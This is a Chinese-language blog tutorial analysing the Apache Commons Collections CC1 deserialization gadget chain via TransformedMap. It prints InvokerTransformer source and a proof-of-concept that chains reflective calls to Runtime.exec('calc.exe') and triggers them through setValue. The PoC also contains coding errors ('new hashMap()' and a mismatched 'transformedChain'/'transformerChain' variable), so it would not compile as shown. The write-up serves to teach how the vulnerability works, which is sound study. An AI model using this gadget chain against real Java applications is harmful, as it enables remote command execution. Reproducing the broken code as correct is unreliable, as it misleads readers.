java 反序列化CC1链分析(TransformedMap)

Map类 --> TransformedMap

Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据改变时,进行一些我们提前设定好的操作。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。

第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法

Transformer接口

transform方法
在这里插入图片描述
我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。

常用的一些实现Transformer接口的类

ConstantTransformer
把一个对象转化为常量,并返回。

InvokerTransformer
通过反射,返回一个对象

ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer

InvokerTransformer代码

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input参数为要进行反射的对象,
        iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
        iArgs为对应方法的参数
        在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

构造

那么我们的总体思路就是

1)构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个TransformedMap实例
3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改
4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换

public static void main(String[] args) throws Exception {
    //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //触发Map中的MapEntry产生修改(例如setValue()函数
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("foobar");
    /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:
       首先通过ConstantTransformer获得Runtime类
       进一步通过反射调用getMethod找到invoke函数
       最后再运行命令calc.exe。
    */
}

参考 https://www.cnblogs.com/ssooking/p/5875215.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值